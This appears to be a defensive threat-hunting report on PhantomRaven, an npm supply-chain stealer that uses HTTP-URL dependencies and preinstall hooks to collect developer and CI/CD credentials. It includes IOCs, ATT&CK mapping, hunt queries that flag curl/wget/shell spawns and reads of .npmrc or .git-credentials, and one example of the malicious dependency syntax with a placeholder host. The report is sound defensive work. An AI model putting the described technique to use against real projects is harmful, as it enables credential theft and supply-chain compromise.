PhantomRaven — LLM-Generated npm Information Stealer via Remote Dynamic Dependencies

Financially motivated supply-chain campaign abusing npm's HTTP-URL dependency resolution to smuggle a credential stealer past static analysis and SCA tooling.
Threat
PhantomRaven
Severity
HIGH
Type
Supply Chain / npm Ecosystem
Access
Dev Workstation & CI/CD
Version
v0.1
Author
HuntPack
Confidence
HIGH
Generated
2026-09-18
01

Executive Summary

PhantomRaven is a financially motivated npm supply-chain campaign, active since August 2025 across at least four infrastructure waves through February 2026 and freshly reassessed by CrowdStrike Counter Adversary Operations in September 2026. The operator — a self-proclaimed bug bounty hunter active since November 2022 under aliases including jpd12, jpd13, npmhell, npmpackagejpd, npmtestdharsh, jpdhackerone11 and packagedharsh — publishes typosquatted and "slopsquatted" npm packages (names an LLM would plausibly hallucinate when asked to suggest a dependency) that declare zero dependencies in package.json but specify a Remote Dynamic Dependency (RDD): an HTTP URL in place of a semver range. When a developer or CI job runs npm install, npm itself — not the malicious package's own code — fetches a second-stage tarball from attacker infrastructure and executes it automatically via a preinstall lifecycle hook. Static analysis, SCA scanners and the npm web UI all show "0 dependencies," because the payload never touches the npm registry.

The payload harvests developer email addresses (from .gitconfig, .npmrc, environment variables, and package.json), CI/CD environment variables and tokens for GitHub Actions, GitLab CI, Jenkins and CircleCI, git/npm configuration, a full system fingerprint (OS, architecture, hostname, Node version, public IP via api64.ipify.org), and exfiltrates everything twice — once as an HTTP GET query string, once as an HTTP POST JSON body — with an unfinished WebSocket fallback (wss://yourserver.com/socket, confirmed by both CrowdStrike and Endor Labs to be a hardcoded, non-functional placeholder). CrowdStrike assesses with high confidence the malware was LLM-generated, citing verbose per-line comments, placeholder code blocks, and statistical token-analysis patterns. Endor Labs' byte-level diff across all four waves found 257 of 259 payload lines identical — only the two C2-URL lines change between waves, even as the operator rotated npm accounts (50+ disposable accounts), domains (4, all via Amazon Registrar with WHOIS privacy and zero TLS), and PHP exfil endpoint names (jpd.phpnpm.php).

To date CrowdStrike has not observed PhantomRaven logs for sale on stealer log shops, assessing the operator likely uses the tool solely to manufacture "vulnerable" targets for bug-bounty submission — but the credentials it steals (npm publish tokens, CI/CD secrets, GitHub tokens) are exactly the credentials that enable a genuine second-order supply-chain compromise regardless of the original operator's intent.

Defender priority: hunt the install-time behavior — npm/node lifecycle scripts spawning a shell or reaching a non-registry host — not just the known C2 domains. The actor has rotated infrastructure four times in seven months while reusing nearly the entire payload; the behavioral pattern survives domain rotation, the IOC list does not.
02

Source Review & Web Hunter Notes

TierSourceKey FindingCarry Forward
1CrowdStrike Counter Adversary Ops blog, Sept 15 2026 [01]Actor attribution & timeline, 4 C2 domains, 1 C2 IP, 3 payload SHA256 hashes, full ATT&CK mapping, PyPI pivot evidence, npm hardening recommendationsYes
1Koi Security — original discloser, Oct 29 2025 (via syndication) [06]Coined "PhantomRaven" and "Remote Dynamic Dependencies"; koi.ai now redirects to unrelated Palo Alto Networks marketing (Koi was acquired by Palo Alto Networks) — original blog text is not retrievable at this URL as of 2026-09-18Partial — via [02]/[05]/[07]/[08]
1Sonatype Research Team, Oct 31 2025 [03]+83 additional Wave-1 packages (200+ total), brandjacking of Adobe/Airbnb/MCP-server namespaces, full package name listYes
1Endor Labs, Mar 10–30 2026 (with two live corrections) [04]Complete 4-wave infrastructure timeline with per-wave C2 domain/IP/PHP-endpoint, byte-level payload diff (257/259 lines identical), 88 newly-attributed packages, infection-chain diagramYes
2BleepingComputer, Oct 29 2025 [02]Independent campaign-scale corroboration (126 packages, 86,000+ downloads), exfiltration method summaryYes
2The Hacker News, Oct 30 2025 [07] & Sept 18 2026 [05]Corroborates Koi's original disclosure and syndicates CrowdStrike's Sept 2026 reassessment; direct quote confirming packages.storeartifact.com as the observed fetch hostYes
3CyberSecurityNews reprint (AI-extracted) [08]Exact package.json RDD dependency syntax example and preinstall hook syntaxYes

Research decisions

  • CrowdStrike's Sept 2026 domain list spells two domains registry.storageartifact.com / packages.storageartifact.com ("storage-artifact"); Endor Labs' Wave-3 domain is spelled package.storeartifacts.com ("store-artifacts"). These are visually similar but textually distinct strings pulled verbatim from each primary source — they are shipped as separate, separately-attributed IOC rows rather than merged or "corrected," since neither source's snapshot supports assuming they're the same string.
  • Sonatype's 200+ and Endor Labs' 88 full package-name lists are preserved in full inside their own source snapshots (03-sonatype.txt, 04-endorlabs.txt) and referenced from the IOC Appendix rather than reproduced row-by-row in this report — the two names CrowdStrike directly attributed to incidents it responded to (transform-jsbi-to-bigint, sort-imports-es6-autofix) are carried into the narrative IOC table individually.
  • Prompt-injection check: every fetched source was reviewed for embedded instructions directed at an AI agent (hidden text, HTML comments, "note to the AI," authority claims). None was found in any of the eight snapshots — all page content was ordinary marketing/navigation chrome plus the cited article body.
03

Hunt Brief & Attack Chain

StepTelemetryHunt Angle
1. Developer or CI job runs npm install against a typosquatted/slopsquatted packageProcessRollup2 (npm/node command line)Baseline rare or first-seen package names in install command lines
2. package.json declares an HTTP-URL dependency instead of a semver range, e.g. "ui-styles-pkg": "http://[attacker-host]/[package].tgz"None directly — this is file content, not a process/network eventGAP — requires SCA/registry-side scanning; not visible to endpoint telemetry (see §5)
3. npm silently fetches the tarball from the attacker's HTTP server instead of registry.npmjs.orgDnsRequest / NetworkConnectIP4 from node.exe / npmQ2, Q7
4. Fetched package's preinstall hook auto-executes (node index.js)ProcessRollup2 — ParentBaseFileName=npm/nodeQ1, Q4, Q6
5. Payload harvests developer email from .gitconfig, .npmrc, env vars, package.json author fieldFileOpenInfo / FileReadInfo (tenant-dependent)Q3 (CQL, validate in tenant) + native audit-log hunt (§7)
6. Payload collects CI/CD env vars (GH Actions, GitLab CI, Jenkins, CircleCI) and system fingerprint, calling api64.ipify.org for public IPDnsRequest / NetworkConnectIP4 to ipifyQ5
7. Payload exfiltrates via HTTP GET + POST (dormant WebSocket fallback) to a C2 PHP endpointDnsRequest / NetworkConnectIP4 to non-registry hostQ2, Q7, Q8, Q9
8. Same lineage observed on a GitHub Actions/GitLab/Jenkins/CircleCI runner host — highest-severity case; stolen tokens enable second-order supply-chain compromiseProcessRollup2 + ComputerName/runner-naming correlationQ6
04

Consolidated IOC Table

TypeValueConfidenceActionContextExpiry
Domainpackages[.]storeartifact[.]comHigh (4 sources)preventWave-1 primary RDD C2, Aug–Oct 2025; reported DOWN by Mar 2026. Cleared for Prevent: 4 independent sources, dedicated attacker-registered infrastructure. Expiry set so a lapsed domain cannot block indefinitely if re-registered by a third party2027-03-18
Domainnpm[.]jpartifacts[.]comHigh (2 sources: CrowdStrike + Endor)preventWave-2 RDD C2, active Nov 2025; reported LIVE as of Mar 2026. Cleared for Prevent: 2 independent sources, dedicated attacker-registered infrastructure, and still live2027-03-18
Domainregistry[.]storageartifact[.]comMedium (1 source: CrowdStrike)huntListed in CrowdStrike Sept 2026 IOC table only; not corroborated elsewhere2026-12-18
Domainpackages[.]storageartifact[.]comMedium (1 source: CrowdStrike)huntListed in CrowdStrike Sept 2026 IOC table only; not corroborated elsewhere2026-12-18
Domainpackage[.]storeartifacts[.]comMedium (1 source: Endor Labs)huntWave-3 RDD C2; reported DOWN2026-12-18
Domainnpm[.]artifactsnpm[.]comMedium (1 source: Endor Labs)huntWave-4 RDD C2; reported LIVE as of Mar 20262026-12-18
IPv454.173.15[.]59High (2 sources)detectWave-1 C2, AWS EC2 us-east-1 port 8080/80; reported DOWN — verify ownership before Prevent (AWS IP reuse risk)2027-03-18
IPv4100.26.42[.]247Medium (1 source: Endor Labs)huntWave-2 C2 IP2026-12-18
IPv413.219.250[.]107Medium (1 source: Endor Labs)huntWave-3 C2 IP; reported DOWN2026-12-18
IPv454.227.45[.]171Medium (1 source: Endor Labs)huntWave-4 C2 IP; reported LIVE as of Mar 20262026-12-18
SHA256c31831d47fcbf52ff1f4e61838611916a4276d005a564e69946d5dac04235eedMedium (1 source: CrowdStrike)huntPhantomRaven payload hash, Sept 2026 report; payload is 257/259 lines identical across waves so hash IOCs are perishable2026-10-18
SHA25695a7dcc6de46826b22c43bee7fc550f3b5e2e6cbc5f33b0c241faf523641cf63Medium (1 source: CrowdStrike)huntPhantomRaven payload hash, Sept 2026 report2026-10-18
SHA256db3fe46df0a65fe9f8c99d2e11126a032a72e9814e354ce017448ce088a01e02Medium (1 source: CrowdStrike)huntPhantomRaven payload hash, Sept 2026 report2026-10-18
URL patternhttp://[c2-domain]/jpd.php or /npm.phpHigh (behavioral, 2+ sources)huntExfil endpoint; filename itself rotated jpd.php → npm.php, so match path structure not the literal filename2027-03-18
Package nametransform-jsbi-to-bigint (npm acct jpdhellonpm1)High (CrowdStrike)detectFalcon Complete-remediated incident; contains PhantomRaven preinstall RDD reference2027-03-18
Package namesort-imports-es6-autofix (npm acct jpd15)High (CrowdStrike)detectFalcon Complete-remediated incident; contains PhantomRaven preinstall RDD reference2027-03-18
BehavioralRDD dependency specifier — an HTTP(S) URL in place of a semver range in package.jsonHigh (4 sources)detectCore technique signature across all four waves2027-03-18
BehavioralPublic-IP lookup to api64[.]ipify[.]org from a node/npm child process, followed by CI/CD env var accessMediumenrichFingerprinting step; api64.ipify.org is itself a legitimate third-party service — weak alone2026-12-18
Placeholderwss://yourserver[.]com/socketLowpivotHardcoded WebSocket placeholder, confirmed non-functional by both CrowdStrike and Endor Labs — watch for it becoming live in a future wave2026-12-18
05

Affected Surface & Telemetry Matrix

SurfaceTelemetryPriorityGap
Developer workstations (Windows/macOS/Linux) running npm installProcessRollup2, NetworkConnectIP4, DnsRequestHighNone major — full Falcon sensor coverage expected
Self-hosted CI/CD runners with a Falcon sensor (GitLab Runner, Jenkins agent, CircleCI self-hosted, GitHub Actions self-hosted)Same as aboveCriticalNone major, but requires the sensor be deployed to ephemeral/autoscaled runner images, not just static build boxes
SaaS-hosted CI/CD runners (GitHub-hosted Actions runners, GitLab.com SaaS runners, CircleCI cloud executors)None — no Falcon sensor can be installed on vendor-managed ephemeral computeCriticalGAP — the single largest coverage gap in this pack; mitigated only via platform-native audit logs (§7) and egress controls the vendor exposes
npm registry / package-publishing side (catching a malicious package before install)Not applicable to endpoint EDRHighGAP — requires SCA/registry-side tooling (Sonatype, Endor Labs, Socket.dev, npm's own scanning); entirely outside Falcon's visibility
File system credential stores (.npmrc, .git-credentials, ~/.gitconfig)FileOpenInfo / FileReadInfoMediumPartial — event availability and exact field set is sensor-version/tenant dependent; validate before relying on Q3 alone, and pair with native auditd/ESF (§7)
WebSocket fallback C2NetworkConnectIP4 (if activated)LowFull — not yet weaponized per any cited source; no known endpoint to hunt against today
06

ATT&CK Mapping

TacticTechniqueObserved BehaviorQuery / Control
ReconnaissanceT1016.001 — Internet Connection DiscoveryContacts api64.ipify.org to learn the infected system's external IPQ5
Resource DevelopmentT1583.001 — Acquire Infrastructure: DomainsRegistered and rotated 4 C2 domains via Amazon Registrar with WHOIS privacyQ8; egress-filtering hardening (§12)
Resource DevelopmentT1587.001 — Develop Capabilities: MalwareDeveloped PhantomRaven, likely LLM-generatedContext only — no distinct telemetry
Initial AccessT1195.001 — Compromise Software Dependencies and Development ToolsTyposquatted/slopsquatted packages fetch an RDD payload via HTTP URL at install timeQ1, Q4, Q6; hardening controls 1–4 (§12)
ExecutionT1059.007 — Command and Scripting Interpreter: JavaScriptPayload executes as JS inside the Node.js runtimeQ1, Q4, Q6
ExecutionT1072 — Software Deployment ToolsAbuses npm's preinstall lifecycle hook for automatic executionQ1, Q6; --ignore-scripts hardening (§12)
Defense EvasionT1027.009 — Obfuscated Files or Information: Embedded PayloadsPayload hidden behind an HTTP URL dependency, invisible to npm's web UI and static scannersGAP — requires SCA/registry-side tooling (§5)
Defense EvasionT1036.005 — Masquerading: Match Legitimate Name or LocationTyposquatted package names mimic legitimate dev tools (e.g. Babel plugins, GraphQL Codegen)Q4; SCA screening
Credential AccessT1552.001 — Unsecured Credentials: Credentials In FilesSearches Git and npm configuration files for email addresses / credentialsQ3 (validate in tenant) + native audit hunt (§7)
Credential AccessT1552.007 — Unsecured Credentials: Container APICollects CI/CD environment variables (GitHub Actions, GitLab CI, Jenkins, CircleCI)Q6 + native CI audit hunts (§7)
DiscoveryT1082 — System Information DiscoveryCollects OS, architecture, hostname, Node version, PID, cwdQ1/Q6 process context
DiscoveryT1083 — File and Directory DiscoverySearches for package.json, Git and npm config filesQ3
DiscoveryT1614.001 — System Location DiscoveryCollects system locale/timezone informationContext only
CollectionT1005 — Data from Local SystemCollects system info, env vars, config filesQ3
CollectionT1119 — Automated CollectionFully automated collection/exfiltration with no user interactionContext only
Command and ControlT1071.001 — Application Layer Protocol: Web ProtocolsHTTP GET and POST to C2 infrastructureQ2, Q7, Q8
Command and ControlT1104 — Multi-Stage ChannelsHTTP exfiltration plus a dormant WebSocket fallbackQ2 (monitor for future WSS activation)
ExfiltrationT1041 — Exfiltration Over C2 ChannelCollected data exfiltrated via HTTP GET/POST to attacker infrastructureQ2, Q8, Q9
07

Native Audit-Log Hunts

The largest single coverage gap in this pack is SaaS-hosted CI/CD compute (§5) — GitHub-hosted Actions runners, GitLab.com SaaS runners, and CircleCI cloud executors cannot carry a Falcon sensor at all. These native, non-CQL checks are the only available coverage for that surface, and a useful supplement everywhere else.

GitHub Actions

  • Enable organization Audit Log streaming and review workflow run logs for npm install steps; grep job logs for the npm ≥ v12 native warning string npm warn install-scripts as a positive control — its presence means the lifecycle-script block is working as intended, and any subsequent install-scripts approve in the same log deserves review.
  • Enforce org policy "Require approval for first-time contributors" and restrict which actions/orbs can run unreviewed in pull-request-triggered workflows.
  • For self-hosted runners in your own cloud account, correlate job logs against VPC Flow Logs / cloud firewall logs for outbound calls to non-allowlisted hosts during the install step.

GitLab CI

  • Review CI/CD job logs and the Package Registry audit events for unexpected outbound network activity during npm ci/npm install stages.
  • Audit .gitlab-ci.yml across all projects for unpinned/unaudited custom images and inline scripts that shell out during dependency installation.
  • Egress-filter self-hosted GitLab Runner hosts per the hardening controls in §12; SaaS runners inherit the same SaaS-hosted-compute gap as GitHub-hosted Actions.

Jenkins

  • Enable the Audit Trail plugin and review build console output for preinstall/postinstall script execution and outbound curl/wget calls during dependency resolution.
  • Restrict global npm/Node tool auto-installation to a pinned, internally-mirrored version; review the credentials store for long-lived tokens exposed to build steps.

CircleCI

  • Enable org-level audit logging (Contexts access, orb usage) and review .circleci/config.yml across repos for unpinned or unaudited third-party orbs.
  • Review job step output for preinstall-stage network calls to hosts outside the approved registry/CDN allowlist.

Linux / macOS endpoint (auditd / Endpoint Security Framework)

  • Linux auditd watch rules on credential-bearing files, independent of Falcon licensing for FileOpenInfo/FileReadInfo:
    -w /home/*/.npmrc -p r -k phantomraven_cred_read
    -w /home/*/.git-credentials -p r -k phantomraven_cred_read
    -w /home/*/.gitconfig -p r -k phantomraven_cred_read
  • macOS: Endpoint Security Framework file-open events on the same paths, or as a fallback, log show --predicate 'eventMessage contains ".npmrc"' --last 1h.

npm configuration audit (all platforms)

  • Fleet-wide npm config get ignore-scripts — should return true on every CI runner at minimum (see hardening control 1, §12).
  • npm install-scripts ls (npm ≥ v12) surfaces any lifecycle script currently pending developer approval — a non-empty pending list on a CI host, where no interactive approval is possible, is itself worth alerting on.
08

CrowdStrike LogScale CQL Hunt Queries

Pick your tenant's cloud first — every "Open in Falcon" button below uses this selection.
Q1 · npm/node lifecycle script spawns a shell or network-fetch tool
CONF HIGHFP MEDIUMCOST LOW

Looks for: npm/npx/node spawning curl, wget, a shell, or PowerShell — the signature of a lifecycle script (preinstall/install/postinstall) reaching out to fetch or execute something. FP: node-gyp, sharp, esbuild, puppeteer and playwright legitimately shell out during their own postinstall step to fetch prebuilt native binaries.

// HUNT: npm/node lifecycle script spawns a shell, interpreter, or network fetch tool
// MITRE: T1195.001, T1072, T1059.007
// CONF: high  FP: medium  COST: low
// REQUIRES: ProcessRollup2 on developer workstation or CI agent
// FALSE POSITIVES: node-gyp, sharp, esbuild, puppeteer, and playwright legitimately run a postinstall step that shells out to python3 or curl to fetch prebuilt native binaries
// TUNING: exclude events where ParentCommandLine contains "node-gyp", "esbuild/install.js", "sharp/install", "puppeteer/install.js", or "playwright install" -- or scope this query to hosts/paths outside your approved package allowlist
// LOOKBACK: 7d (set via the Falcon time picker, not an in-query filter)
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| ParentBaseFileName=/^(npm|npm-cli\.js|node|npx)(\.exe|\.cmd)?$/i
| FileName=/^(curl|wget|powershell|pwsh|sh|bash|cmd)(\.exe)?$/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ParentCommandLine, FileName, CommandLine])
Q2 · npm/node resolves a domain outside the approved registry/CDN allowlist
CONF MEDIUMFP HIGHCOST MEDIUM

Looks for: DNS resolutions made by node/npm to any host that isn't the public registry, a known CDN, or GitHub. FP: node.exe legitimately resolves hundreds of domains a day (CDNs, telemetry, corporate proxies) — this is a triage feed, not a standalone alert.

// HUNT: node/npm process resolves a domain outside the approved npm registry/CDN allowlist
// MITRE: T1071.001, T1041, T1102
// CONF: medium  FP: high  COST: medium
// REQUIRES: DnsRequest with ContextBaseFileName -- ⚠ validate in tenant: confirm DnsRequest carries ContextBaseFileName in your sensor version/cloud before relying on this
// FALSE POSITIVES: node.exe legitimately resolves hundreds of domains per day -- GitHub raw content, unpkg/jsdelivr CDNs, telemetry endpoints for editor extensions, corporate proxies. This query is a triage feed, not a standalone alert.
// TUNING: extend the !in() allowlist with your organization's approved npm mirror, artifact proxy (Artifactory/Nexus), and any internally-used CDN before promoting; group results by DomainName and review only entries with low historical prevalence
#event_simpleName=DnsRequest
| ContextBaseFileName=/^(npm|npm-cli\.js|node|npx)(\.exe|\.cmd)?$/i
| !in(DomainName, values=["registry.npmjs.org", "registry.yarnpkg.com", "nodejs.org", "npmjs.com", "npmjs.org", "github.com", "githubusercontent.com", "objects.githubusercontent.com", "unpkg.com", "jsdelivr.net", "cdn.jsdelivr.net", "cloudflare.com", "yarnpkg.com"])
| groupBy([ComputerName, ContextBaseFileName, DomainName], function=count(as=Hits), limit=1000)
| sort(Hits, order=desc, limit=100)
Q3 · Process reads npm/git credential-bearing files
CONF MEDIUMFP MEDIUMCOST LOW

Looks for: a node/npm process opening .npmrc, .git-credentials, or .gitconfig. FP: git.exe, IDEs, and Git GUI clients routinely open the same files during normal developer workflow.

// HUNT: process reads npm or git credential-bearing files (.npmrc, .git-credentials, .gitconfig)
// MITRE: T1552.001, T1005
// CONF: medium  FP: medium  COST: low
// REQUIRES: FileOpenInfo or FileReadInfo -- ⚠ validate in tenant: event availability and exact field set (TargetFileName, ContextBaseFileName) is sensor-version/license dependent; confirm a sample event before relying on this in production
// FALSE POSITIVES: git.exe, VS Code, GitHub Desktop, and most IDEs routinely open these same files during normal developer workflow
// TUNING: exclude ContextBaseFileName values for git.exe, code.exe, and your organization's approved IDE/Git GUI clients; this query is highest-value when correlated with Q1's lineage (node/npm specifically, not an IDE)
#event_simpleName=/FileOpenInfo|FileReadInfo/
| TargetFileName=*.npmrc or TargetFileName=*.git-credentials or TargetFileName=*.gitconfig
| ContextBaseFileName=/^(node|npm|npm-cli\.js|npx)(\.exe|\.cmd)?$/i
| table([@timestamp, ComputerName, UserName, ContextBaseFileName, TargetFileName])
Q4 · node executes a known PhantomRaven-attributed package path
CONF HIGHFP LOWCOST LOW

Looks for: node executing a script from inside node_modules/transform-jsbi-to-bigint/ or node_modules/sort-imports-es6-autofix/ — the two packages CrowdStrike directly attributed to remediated incidents. FP: near-zero; these are attacker-registered package names.

// HUNT: node executes a script from a known PhantomRaven-associated package path under node_modules
// MITRE: T1195.001, T1059.007
// CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2
// FALSE POSITIVES: none expected -- these are attacker-registered package names; a hit would only be benign if your org vendors software that also depends on an identically-named unrelated package (verify before treating as benign)
// TUNING: extend the CommandLine list as new PhantomRaven-wave package names are attributed; this covers only the two names CrowdStrike named directly (Sept 2026) -- it is NOT exhaustive against the 200+ names reported by Sonatype/Endor Labs (see IOC Appendix, §10)
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^node(\.exe)?$/i
| CommandLine = *node_modules/transform-jsbi-to-bigint/* or CommandLine = *node_modules\transform-jsbi-to-bigint\* or CommandLine = *node_modules/sort-imports-es6-autofix/* or CommandLine = *node_modules\sort-imports-es6-autofix\*
| table([@timestamp, ComputerName, UserName, CommandLine, ParentBaseFileName])
Q5 · node/npm process fingerprints the host via api64.ipify.org
CONF MEDIUMFP MEDIUMCOST LOW

Looks for: a node/npm process resolving the public-IP lookup service PhantomRaven uses for system fingerprinting. FP: legitimate dynamic-DNS updaters and some CLI tools also call ipify.org.

// HUNT: node/npm process resolves the public-IP lookup service api64.ipify.org used by PhantomRaven for system fingerprinting
// MITRE: T1016.001, T1082
// CONF: medium  FP: medium  COST: low
// REQUIRES: DnsRequest -- ⚠ validate in tenant: ContextBaseFileName availability on DnsRequest (see Q2)
// FALSE POSITIVES: legitimate dynamic-DNS updaters, some VPN clients, and a handful of CLI tools also call ipify.org to learn the host's public IP; this is a corroborating signal, not a standalone alert
// TUNING: fire only when correlated with Q1 (lifecycle spawn) or Q2 (non-registry DNS) on the same aid within a short window; do not alert on this query alone
#event_simpleName=DnsRequest
| DomainName=/^api64\.ipify\.org$/i
| ContextBaseFileName=/^(node|npm|npm-cli\.js|npx)(\.exe|\.cmd)?$/i
| table([@timestamp, ComputerName, UserName, ContextBaseFileName, DomainName])
Q6 · Lifecycle-script network spawn on a CI/CD runner host (highest severity)
CONF HIGHFP MEDIUMCOST LOW

Looks for: the exact Q1 pattern, scoped to hostnames matching common CI/build-agent naming conventions. Why highest severity: credentials stolen from a CI runner (npm publish tokens, GitHub/GitLab/Jenkins/CircleCI secrets) enable a genuine second-order supply-chain compromise. FP: same as Q1, and more common in CI where postinstall native-binary builds are routine.

// HUNT: npm/node lifecycle-script network spawn observed on a CI/CD runner or build-agent host
// MITRE: T1195.001, T1072, T1552.007
// CONF: high  FP: medium  COST: low
// REQUIRES: ProcessRollup2; a hostname/tagging convention that identifies CI runners -- adjust the ComputerName pattern to your fleet's naming standard
// FALSE POSITIVES: same as Q1 -- node-gyp/sharp/esbuild/puppeteer/playwright postinstall steps are common in CI pipelines and fire here more often than on developer workstations
// TUNING: replace the ComputerName wildcard list with your actual GitHub Actions self-hosted runner, GitLab Runner, Jenkins agent, and CircleCI executor naming convention; apply the same exclusions as Q1
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| ParentBaseFileName=/^(npm|npm-cli\.js|node|npx)(\.exe|\.cmd)?$/i
| FileName=/^(curl|wget|powershell|pwsh|sh|bash|cmd)(\.exe)?$/i
| ComputerName = *runner* or ComputerName = *RUNNER* or ComputerName = *gitlab-runner* or ComputerName = *jenkins* or ComputerName = *JENKINS* or ComputerName = *circleci* or ComputerName = *buildagent* or ComputerName = *build-agent*
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ParentCommandLine, FileName, CommandLine])
Q7 · Rare / first-seen domain contacted by node or npm (undiscovered-infra hunt)
CONF MEDIUMFP HIGHCOST HIGH

Looks for: low-count, widely-distributed domains contacted by node/npm — the shape of a not-yet-attributed Wave-5+ C2, since PhantomRaven's pattern is many hosts each making a handful of hits to a new domain. FP: high — new legitimate dependencies look identical. Analyst-reviewed hunt only; never automate blocking on this.

// HUNT: node/npm process resolves a rare, low-count domain -- candidate undiscovered C2 (run this query over two windows, e.g. last 24h vs. last 90d, and diff manually; do not add an in-query time filter, see crowdstrike-logscale-v3 guidance)
// MITRE: T1071.001, T1583.001
// CONF: medium  FP: high  COST: high
// REQUIRES: DnsRequest with 90+ days retention; ContextBaseFileName validated in tenant (see Q2)
// FALSE POSITIVES: new legitimate npm dependencies, internal tooling rollouts, and one-off CDN endpoints all look identical to a new C2 domain under this model; this is a hunt-only, analyst-reviewed query
// TUNING: add your approved-registry/CDN allowlist from Q2; review only domains with RecentCount below 5 across the whole fleet AND DistinctHosts above 1 -- widespread-but-low-count-per-host is the PhantomRaven shape, a domain hit hundreds of times by one host is more likely legitimate build tooling
#event_simpleName=DnsRequest
| ContextBaseFileName=/^(npm|npm-cli\.js|node|npx)(\.exe|\.cmd)?$/i
| groupBy([DomainName], function=[count(as=RecentCount), min(@timestamp, as=FirstSeenThisWindow), count(ComputerName, distinct=true, as=DistinctHosts)], limit=5000)
| sort(RecentCount, order=asc, limit=200)
Q8 · Direct match against known PhantomRaven C2 domains
CONF HIGHFP LOWCOST LOW

Looks for: DNS resolution of any of the six reported C2 domains (§4). FP: near-zero for the two multi-sourced domains; the four single-sourced domains carry the caveats noted in §4/§10.

// HUNT: direct match against known PhantomRaven C2 domains
// MITRE: T1071.001, T1041, T1583.001
// CONF: high  FP: low  COST: low
// REQUIRES: DnsRequest -- ⚠ validate in tenant: ContextBaseFileName availability (see Q2)
// FALSE POSITIVES: near-zero -- these are attacker-registered, single-purpose domains. packages.storeartifact.com and npm.jpartifacts.com are multi-sourced (high confidence); registry.storageartifact.com, packages.storageartifact.com, package.storeartifacts.com and npm.artifactsnpm.com are each single-sourced (see §4) -- treat hits on those four as high-value leads requiring secondary confirmation before escalation
// TUNING: none required for the multi-sourced pair; for the four single-sourced domains, corroborate with Q1/Q6 process lineage before treating as a confirmed compromise
#event_simpleName=DnsRequest
| DomainName=/^(packages\.storeartifact\.com|npm\.jpartifacts\.com|registry\.storageartifact\.com|packages\.storageartifact\.com|package\.storeartifacts\.com|npm\.artifactsnpm\.com)$/i
| table([@timestamp, ComputerName, UserName, DomainName, ContextBaseFileName])
Q9 · Direct match against known PhantomRaven C2 IP addresses
CONF MEDIUMFP LOWCOST LOW

Looks for: outbound connections to any of the four reported C2 IPs. FP: all four are AWS EC2 addresses; three are reported DOWN as of the cited sources, meaning AWS could reassign them to an unrelated tenant. Detect-only — see Q4/§10 for the Prevent-tier caveat on 54.173.15.59.

// HUNT: direct match against known PhantomRaven C2 IP addresses
// MITRE: T1071.001, T1041
// CONF: medium  FP: low  COST: low
// REQUIRES: NetworkConnectIP4
// FALSE POSITIVES: 54.173.15.59 is dual-sourced (CrowdStrike + Endor Labs) but reported DOWN -- AWS may reassign it to an unrelated tenant, which would false-positive this line; 100.26.42.247, 13.219.250.107 and 54.227.45.171 are each single-sourced (Endor Labs only)
// TUNING: keep this query at Detect only; do not promote any of the four IPs to Prevent without re-verifying current ownership/liveness immediately before deployment
#event_simpleName=NetworkConnectIP4
| RemoteAddressIP4=/^(54\.173\.15\.59|100\.26\.42\.247|13\.219\.250\.107|54\.227\.45\.171)$/i
| table([@timestamp, ComputerName, UserName, RemoteAddressIP4, RemotePort, ContextBaseFileName])
09

Custom IOA Recommendations

Four queries are strong Custom IOA candidates; the remaining five stay Investigate/Hunt-only pending tuning or because they are deliberately noisy triage feeds.

IOA NameSource QueryPatternExclusions RequiredDeployment Path
Suspicious npm Lifecycle Script Network SpawnQ1ParentBaseFileName=npm/node/npx → FileName=curl/wget/powershell/sh/bashnode-gyp, sharp, esbuild, puppeteer, playwright postinstall pathsDetect for 14-day burn-in with exclusions tuned from real FP hits, then promote to Prevent on workstations; keep Detect-only on CI where native-binary builds are more common
Named PhantomRaven Package ExecutionQ4node executing from node_modules/transform-jsbi-to-bigint/ or node_modules/sort-imports-es6-autofix/None identifiedPrevent immediately — near-zero FP, attacker-registered names
CI/CD Runner Lifecycle Script Network SpawnQ6Q1 pattern scoped to CI/build-agent hostnamesSame as Q1, tuned per-fleet naming conventionDetect with immediate high-priority SOC paging (not just a queue item) given the second-order supply-chain risk; hold at Detect until the hostname pattern is validated against your actual runner fleet
PhantomRaven Known C2 Domain MatchQ8DnsRequest to any of the six reported C2 domainsNone for the two multi-sourced domainsPrevent for packages.storeartifact.com and npm.jpartifacts.com (2+ sources); Detect-only for the four single-sourced domains

Q9 (IP match) is intentionally not recommended for Custom IOA promotion — three of the four IPs are single-sourced and all four are AWS EC2 addresses with mixed live/DOWN status as of the cited reports. Re-verify ownership immediately before any Prevent-tier deployment against an IP.

10

Machine-Readable IOC Appendix

Action-tier mapping — read before bulk import. Falcon IOC Management supports only prevent, detect, allow and no_action; it has no hunt, enrich or pivot action. Those three are analyst-workflow tiers used in the §4 table, and they are encoded here as detect at low/medium severity, with the single-sourced caveat carried in each row's description field. The mapping is therefore: §4 prevent → CSV prevent (2+ independent sources only); §4 detect → CSV detect; §4 hunt/enrich/pivot → CSV detect at reduced severity, not a confirmed block. Only the two multi-sourced domains below are set to prevent; every single-sourced domain, IP and hash is detect by design. Behavioral and placeholder entries from §4 are deliberately absent from this CSV — they are not atomic indicators and must not be imported.

Falcon IOC Management CSVbulk import
type,value,action,severity,expiration,description,tags
domain,packages.storeartifact.com,prevent,high,2027-03-18,PhantomRaven Wave-1 RDD C2 -- 4 independent sources,campaign:PhantomRaven
domain,npm.jpartifacts.com,prevent,high,2027-03-18,PhantomRaven Wave-2 RDD C2 -- CrowdStrike and Endor Labs,campaign:PhantomRaven
domain,registry.storageartifact.com,detect,medium,2026-12-18,PhantomRaven C2 domain -- single-sourced CrowdStrike Sept 2026 only,campaign:PhantomRaven
domain,packages.storageartifact.com,detect,medium,2026-12-18,PhantomRaven C2 domain -- single-sourced CrowdStrike Sept 2026 only,campaign:PhantomRaven
domain,package.storeartifacts.com,detect,medium,2026-12-18,PhantomRaven Wave-3 RDD C2 -- single-sourced Endor Labs only; reported DOWN,campaign:PhantomRaven
domain,npm.artifactsnpm.com,detect,medium,2026-12-18,PhantomRaven Wave-4 RDD C2 -- single-sourced Endor Labs only; reported LIVE Mar 2026,campaign:PhantomRaven
ipv4,54.173.15.59,detect,medium,2026-12-18,PhantomRaven Wave-1 C2 IP AWS EC2 us-east-1 -- reported DOWN; do not Prevent due to AWS IP reassignment risk,campaign:PhantomRaven
